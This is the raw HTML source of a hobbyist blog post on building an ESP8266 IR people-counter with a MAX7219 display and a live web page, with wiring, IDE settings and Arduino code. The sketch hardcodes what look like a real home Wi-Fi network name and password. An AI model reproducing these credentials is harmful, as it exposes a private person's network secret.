  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;
    &lt;br /&gt;&lt;b&gt;# 10K Resistor&lt;/b&gt; -&amp;nbsp; A 10K resistor is mainly used for signal
    stability and protection in electronics. In your ESP8266 / sensor projects,
    common uses are:
  &lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;
    &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
  &lt;/div&gt;
  &lt;div&gt;&lt;b&gt;✅ 1. Pull-up or Pull-down resistor&lt;/b&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;Keeps GPIO pins in a stable HIGH or LOW state&lt;/div&gt;
  &lt;div&gt;Example: IR sensor input / switch input stabilization&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;
    &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
  &lt;/div&gt;
  &lt;div&gt;&lt;b&gt;✅ 2. Button / Toggle switch circuits&lt;/b&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;Prevents floating input pins&lt;/div&gt;
  &lt;div&gt;Ensures reliable ON/OFF detection&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;
    &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
  &lt;/div&gt;
  &lt;div&gt;&lt;b&gt;✅ 3. Voltage divider&lt;/b&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;Reduce voltage for safe ESP8266 input (3.3V logic)&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
    &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3ui-Zx7uh2k96OLh3gXHVJSG6VFbkoAFsOGl3D_yC_xZiw8zmLExn1-gyB4ET0S9SM_cVf-XuVWneARyDDmMAnO_A4TI6bOO-nXHUP_D2Yam5MjqSEudjWt89OXJ5PmrZ-a4mZ2-Of8QnAhJEefK8vg5zlAY4RC0WKMNskyRWmck-KN5oUOvEbimbaC2I/s1536/10K%20Resistor-hacking-truth.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3ui-Zx7uh2k96OLh3gXHVJSG6VFbkoAFsOGl3D_yC_xZiw8zmLExn1-gyB4ET0S9SM_cVf-XuVWneARyDDmMAnO_A4TI6bOO-nXHUP_D2Yam5MjqSEudjWt89OXJ5PmrZ-a4mZ2-Of8QnAhJEefK8vg5zlAY4RC0WKMNskyRWmck-KN5oUOvEbimbaC2I/w640-h426/10K%20Resistor-hacking-truth.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
  &lt;/div&gt;
  &lt;br /&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;
    &lt;br /&gt;&lt;b&gt;# Push Buttons -&amp;nbsp;&lt;/b&gt;Ensures reliable ON/OFF detection
    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
    &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
      &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQR0PbrxyNtbzZnfgu_WdKaXWmsttAK54NB5SYHTLiQgKBem0EJvulDQ2SH0Y2iJXpnmnPSN9jg4f7BGIHUSIJjJ396K_xmbu4E6MDLMRRO7Jesvwbqw7XfZLQ4Sp8Rh-twA5rnOZFSoXbrYZCnu4Kkt84lWi_ooSwvjI2w2KkcTaD7zEqVw5PGJ1_N7u0/s1536/Push%20Buttons.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQR0PbrxyNtbzZnfgu_WdKaXWmsttAK54NB5SYHTLiQgKBem0EJvulDQ2SH0Y2iJXpnmnPSN9jg4f7BGIHUSIJjJ396K_xmbu4E6MDLMRRO7Jesvwbqw7XfZLQ4Sp8Rh-twA5rnOZFSoXbrYZCnu4Kkt84lWi_ooSwvjI2w2KkcTaD7zEqVw5PGJ1_N7u0/w640-h426/Push%20Buttons.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
    &lt;/div&gt;
    &lt;br /&gt;
    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
    &lt;div&gt;
      &lt;br /&gt;
      &lt;p data-pm-slice=&quot;1 1 []&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
        &lt;b style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;# Breadboard&amp;nbsp;&lt;/b&gt;– Used to connect components without soldering. Helpful for quick
        prototyping.
      &lt;/p&gt;
      &lt;p data-pm-slice=&quot;1 1 []&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
        &lt;br style=&quot;background-color: white; color: #505050; font-family: &amp;quot;Josefin Sans&amp;quot;, Arial, sans-serif; font-size: 15px;&quot; /&gt;
      &lt;/p&gt;
    &lt;/div&gt;
    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
    &lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout-key=&quot;-fb+5w+4e-db+86&quot; data-ad-slot=&quot;9562237191&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
    &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
      &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuF1V8LYPK9tMH07gFJhiYPHo41YjrdTTLeL_4qLIgdlGPPRL4-nGVqrGcrpMsT1P-gqSwuYWiq5zKV-xM-qLv_Avjn6hlTvYOi9kFWBm-xM1C5N5XUWJOE_Iw1JDuxbrRrzgsHlgpa2YETyYS_M_umXhe17C_9rka61LrAr1ON_acC-LlQdkaqWQza0l6/s200/breadboard.webp&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;200&quot; data-original-width=&quot;200&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuF1V8LYPK9tMH07gFJhiYPHo41YjrdTTLeL_4qLIgdlGPPRL4-nGVqrGcrpMsT1P-gqSwuYWiq5zKV-xM-qLv_Avjn6hlTvYOi9kFWBm-xM1C5N5XUWJOE_Iw1JDuxbrRrzgsHlgpa2YETyYS_M_umXhe17C_9rka61LrAr1ON_acC-LlQdkaqWQza0l6/w320-h320/breadboard.webp&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;
    &lt;/div&gt;
    &lt;br /&gt;
    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
    &lt;div&gt;
      &lt;p data-pm-slice=&quot;1 1 []&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
        &lt;b style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;# Jumper Wires&lt;/b&gt;&amp;nbsp;– Used to make all the electrical connections between Arduino,
        sensors, and motor.
      &lt;/p&gt;
      &lt;p data-pm-slice=&quot;1 1 []&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
        &lt;br style=&quot;background-color: white; color: #505050; font-family: &amp;quot;Josefin Sans&amp;quot;, Arial, sans-serif; font-size: 15px;&quot; /&gt;
      &lt;/p&gt;
      &lt;p data-pm-slice=&quot;1 1 []&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
        &lt;br /&gt;
      &lt;/p&gt;
      &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
        &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMtpIVFyRSgwWerKOydWsmcP8tRzGiyN4IzVYCGbdkEgFCY9aOgR4pEMiKVwlmtGCYhmHDy-J9aEE0SsG9pYokNvdc7EwQBrthB910ScybGCLTlSdEquyV9ejnrWuttptL7HZpV1EiAsoEjoeC_kZi54ime9BAltebbGof1eSuuFHMVjxJ-QzED-3nED8_/s700/jumper-wires.webp&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;700&quot; data-original-width=&quot;700&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMtpIVFyRSgwWerKOydWsmcP8tRzGiyN4IzVYCGbdkEgFCY9aOgR4pEMiKVwlmtGCYhmHDy-J9aEE0SsG9pYokNvdc7EwQBrthB910ScybGCLTlSdEquyV9ejnrWuttptL7HZpV1EiAsoEjoeC_kZi54ime9BAltebbGof1eSuuFHMVjxJ-QzED-3nED8_/s320/jumper-wires.webp&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;
      &lt;/div&gt;
      &lt;br /&gt;
      &lt;p data-pm-slice=&quot;1 1 []&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
        &lt;br /&gt;
      &lt;/p&gt;
      &lt;p data-pm-slice=&quot;1 1 []&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
        &lt;br /&gt;
      &lt;/p&gt;
    &lt;/div&gt;
    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
    &lt;div&gt;
      Wi-Fi Router (Home Network)&lt;br /&gt;
      &lt;p&gt;&lt;/p&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;p&gt;
        &lt;b&gt;👉 Note:&lt;/b&gt; 3-Digit 7-Segment Display is optional because MAX7219
        handles digital output more efficiently.
      &lt;/p&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
        &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg47kb8UBrOeLvBWyqTv88dla9V0rw8PjzETl9f8VV74uBHv1pkkeQy3TyyoWGEcWjQIxfVYzm_Ixomnrr_7ElUsOlw8DGZljw8xOu_UjG4QBZAQv7rG4xLFj8M7umAfel8GITfrx8X9NTvz8mrTReE3SrSEGrbk0xpIqDr3UQ2bXAt9vskJYksnwLxaSLm/s1007/sensor-count-iot.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;146&quot; data-original-width=&quot;1007&quot; height=&quot;92&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg47kb8UBrOeLvBWyqTv88dla9V0rw8PjzETl9f8VV74uBHv1pkkeQy3TyyoWGEcWjQIxfVYzm_Ixomnrr_7ElUsOlw8DGZljw8xOu_UjG4QBZAQv7rG4xLFj8M7umAfel8GITfrx8X9NTvz8mrTReE3SrSEGrbk0xpIqDr3UQ2bXAt9vskJYksnwLxaSLm/w640-h92/sensor-count-iot.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
      &lt;/div&gt;
      &lt;br /&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;h4 style=&quot;text-align: left;&quot;&gt;
        Why Use IR Sensor Instead of MH Flying Fish Sensors?
      &lt;/h4&gt;
      &lt;p&gt;Currently, IR Sensor is preferred because:&lt;/p&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
        &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTtEFMRQUVlHPVT8vVfXGrOkYyLL4PJbMV43UPLnxFky0pgyufGrTPLqzReEMTCVP2KfN43wa6Q_jHnUjtE3sN96n_QwmdJT3ec5UvW6tKQ9qJPmGDvRQObqkWrhz3ye-7Pyn6vvgBR1aRaP2OYP6uXBWW7qGGTWjWf1mkKn-u-fpAgI59jyhubYwdPBCk/s981/sensor-count-iot-project.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;367&quot; data-original-width=&quot;981&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTtEFMRQUVlHPVT8vVfXGrOkYyLL4PJbMV43UPLnxFky0pgyufGrTPLqzReEMTCVP2KfN43wa6Q_jHnUjtE3sN96n_QwmdJT3ec5UvW6tKQ9qJPmGDvRQObqkWrhz3ye-7Pyn6vvgBR1aRaP2OYP6uXBWW7qGGTWjWf1mkKn-u-fpAgI59jyhubYwdPBCk/w640-h240/sensor-count-iot-project.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
      &lt;/div&gt;
      &lt;br /&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;p&gt;&lt;b&gt;👉 Use MH sensors later for:&lt;/b&gt;&lt;/p&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;p&gt;&lt;/p&gt;
      &lt;ul style=&quot;text-align: left;&quot;&gt;
        &lt;li&gt;Gas detection&lt;/li&gt;
        &lt;li&gt;Flame detection&lt;/li&gt;
        &lt;li&gt;Sound detection&lt;/li&gt;
        &lt;li&gt;Environmental monitoring&lt;/li&gt;
      &lt;/ul&gt;
      &lt;p&gt;&lt;/p&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;h4 style=&quot;text-align: left;&quot;&gt;🔌 Hardware Connections&lt;/h4&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;p&gt;&lt;b&gt;Sensor NodeMCU 8266 ESP&lt;/b&gt;&lt;/p&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;p&gt;&lt;/p&gt;
      &lt;ul style=&quot;text-align: left;&quot;&gt;
        &lt;li&gt;VCC -&amp;gt; 3V3&lt;/li&gt;
        &lt;li&gt;GND -&amp;gt; GND&lt;/li&gt;
        &lt;li&gt;D0&amp;nbsp; -&amp;gt; D2&lt;/li&gt;
      &lt;/ul&gt;
      &lt;p&gt;&lt;/p&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;p&gt;&lt;b&gt;switch&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;p&gt;&lt;/p&gt;
      &lt;ul style=&quot;text-align: left;&quot;&gt;
        &lt;li&gt;OFF -&amp;gt; GND&lt;/li&gt;
        &lt;li&gt;ON(I) -&amp;gt; D1&lt;/li&gt;
      &lt;/ul&gt;
      &lt;p&gt;&lt;/p&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;p&gt;&lt;b&gt;MAX7219 NodeMU 8266 ESP&lt;/b&gt;&lt;/p&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
      &lt;p&gt;&lt;/p&gt;
      &lt;ul style=&quot;text-align: left;&quot;&gt;
        &lt;li&gt;VCC -&amp;gt; VIN&lt;/li&gt;
        &lt;li&gt;GND -&amp;gt; GND&lt;/li&gt;
        &lt;li&gt;DIN -&amp;gt; D7&lt;/li&gt;
        &lt;li&gt;CS -&amp;gt; D8&lt;/li&gt;
        &lt;li&gt;CLK -&amp;gt; D5&lt;/li&gt;
      &lt;/ul&gt;
      &lt;p&gt;&lt;/p&gt;
      &lt;p&gt;&lt;/p&gt;
      &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout-key=&quot;-fb+5w+4e-db+86&quot; data-ad-slot=&quot;9562237191&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;br /&gt;&lt;br /&gt;
  &lt;h4 style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: 0px center; background-repeat: initial; background-size: initial; border: 0px; font-family: &amp;quot;Josefin Sans&amp;quot;, Arial, sans-serif; font-size: 18px; line-height: 26px; margin: 0px 0px 15px; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;&quot;&gt;
    This Exact Setup:
  &lt;/h4&gt;
  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;div&gt;✅ Correct Board Configuration (ESP8266 NodeMCU)&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;b&gt;1️⃣ Select Correct Board&lt;/b&gt;&lt;/div&gt;
  &lt;div&gt;Tools → Board → NodeMCU 1.0 (ESP-12E Module)&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;b&gt;2️⃣ Select Correct COM Port&lt;/b&gt;&lt;/div&gt;
  &lt;div&gt;Tools → Port → COMx (where ESP8266 is connected)&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;b&gt;Check in Device Manager:&lt;/b&gt;&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;Ports (COM &amp;amp; LPT)&lt;/div&gt;
  &lt;div&gt;&amp;nbsp;→ USB-SERIAL CH340 / CP2102&lt;/div&gt;
  &lt;div&gt;&lt;br /&gt;&lt;/div&gt;
  &lt;div&gt;&lt;b&gt;3️⃣ Correct Upload Settings (Very Important)&lt;/b&gt;&lt;/div&gt;
  &lt;div&gt;Tools → Upload Speed → 115200&lt;/div&gt;
  &lt;div&gt;Tools → Flash Size → 4MB (FS:2MB OTA:~1019KB)&lt;/div&gt;
  &lt;div&gt;Tools → CPU Frequency → 80 MHz&lt;/div&gt;
  &lt;div&gt;Tools → Debug Port → Disabled&lt;/div&gt;
  &lt;div&gt;Tools → Debug Level → None&lt;/div&gt;
  &lt;div&gt;Tools → Reset Method → nodemcu&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Code&amp;nbsp;&lt;/h4&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;pre&gt;
#include &amp;lt;ESP8266WiFi.h&amp;gt;
#include &amp;lt;ESP8266WebServer.h&amp;gt;
#include &amp;lt;MD_Parola.h&amp;gt;
#include &amp;lt;MD_MAX72xx.h&amp;gt;
#include &amp;lt;SPI.h&amp;gt;

#define HARDWARE_TYPE MD_MAX72XX::FC16_HW
#define MAX_DEVICES 4

#define DIN_PIN D7
#define CLK_PIN D5
#define CS_PIN  D8

#define IR_PIN     D2
#define SWITCH_PIN D1

MD_Parola display = MD_Parola(HARDWARE_TYPE, DIN_PIN, CLK_PIN, CS_PIN, MAX_DEVICES);
ESP8266WebServer server(80);

volatile int count = 0;
bool lastIRState = HIGH;

/* ---------- Wi-Fi credentials ---------- */
const char* ssid = &quot;Airtel_ajay_4747&quot;;
const char* password = &quot;air83128&quot;;

/* ---------- Web page ---------- */
void handleRoot() {
  String page =
    &quot;&amp;lt;!DOCTYPE html&amp;gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&quot;
    &quot;&amp;lt;meta name=&#39;viewport&#39; content=&#39;width=device-width, initial-scale=1&#39;&amp;gt;&quot;
    &quot;&amp;lt;meta http-equiv=&#39;refresh&#39; content=&#39;2&#39;&amp;gt;&quot;
    &quot;&amp;lt;title&amp;gt;ESP8266 Counter&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&quot;
    &quot;&amp;lt;h2&amp;gt;Live Counter - Hackingtruth.in | .org &amp;lt;/h2&amp;gt;&quot;
    &quot;&amp;lt;h1&amp;gt;&quot; + String(count) + &quot;&amp;lt;/h1&amp;gt;&quot;
    &quot;&amp;lt;a href=&#39;/reset&#39;&amp;gt;&amp;lt;button&amp;gt;Reset&amp;lt;/button&amp;gt;&amp;lt;/a&amp;gt;&quot;
    &quot;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&quot;;
  server.send(200, &quot;text/html&quot;, page);
}

void handleReset() {
  count = 0;
  server.sendHeader(&quot;Location&quot;, &quot;/&quot;);
  server.send(303);
}

void setup() {
  pinMode(IR_PIN, INPUT);
  pinMode(SWITCH_PIN, INPUT_PULLUP);

  display.begin();
  display.setIntensity(5);
  display.displayClear();

  WiFi.begin(ssid, password);
  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
  }

  server.on(&quot;/&quot;, handleRoot);
  server.on(&quot;/reset&quot;, handleReset);
  server.begin();
}

void loop() {
  server.handleClient();

  bool currentIRState = digitalRead(IR_PIN);

  if (lastIRState == HIGH &amp;amp;&amp;amp; currentIRState == LOW) {
    count++;
    if (count &amp;gt; 999) count = 0;
    delay(300);
  }
  lastIRState = currentIRState;

  if (digitalRead(SWITCH_PIN) == LOW) {
    count = 0;
  }

  char buf[4];
  sprintf(buf, &quot;%03d&quot;, count);
  display.displayText(buf, PA_CENTER, 0, 0, PA_PRINT, PA_NO_EFFECT);
  display.displayAnimate();
}

&lt;/pre&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4IvUuyNtpralSBNEUSPrNR2wto1y9cFDRsuDiaqvfA9KHB3lyCGGGMZdcOWJne9fRMVjxxJmjaUtiZLl4gbQ6RS5VgvgBTiWZgQv0cNvJXc9_nC_4PcXNSIlkM0aMsR0IBflbVQFgV3rBOL1EyK2TfPzyNAFw7OZEJIcODXGXsR0-ZOFgeZirdXTdy_6I/s547/ir-hackingtruth.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;547&quot; data-original-width=&quot;401&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4IvUuyNtpralSBNEUSPrNR2wto1y9cFDRsuDiaqvfA9KHB3lyCGGGMZdcOWJne9fRMVjxxJmjaUtiZLl4gbQ6RS5VgvgBTiWZgQv0cNvJXc9_nC_4PcXNSIlkM0aMsR0IBflbVQFgV3rBOL1EyK2TfPzyNAFw7OZEJIcODXGXsR0-ZOFgeZirdXTdy_6I/s320/ir-hackingtruth.png&quot; width=&quot;235&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;NOTE - If you want you can also live counting in your phone with the help of IP address&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;You need the ESP8266’s local IP address — this is assigned by your Wi-Fi router when the NodeMCU connects in Router (STA) mode.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Here are the exact methods to get it 👇&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;✅ Method 1 — Serial Monitor (Best &amp;amp; Fastest)&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Add this line in your setup() after Wi-Fi connects:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;pre&gt;Serial.begin(115200);

WiFi.begin(ssid, password);
while (WiFi.status() != WL_CONNECTED) {
  delay(500);
  Serial.print(&quot;.&quot;);
}

Serial.println(&quot;&quot;);
Serial.print(&quot;ESP8266 IP Address: &quot;);
Serial.println(WiFi.localIP());


&lt;/pre&gt;
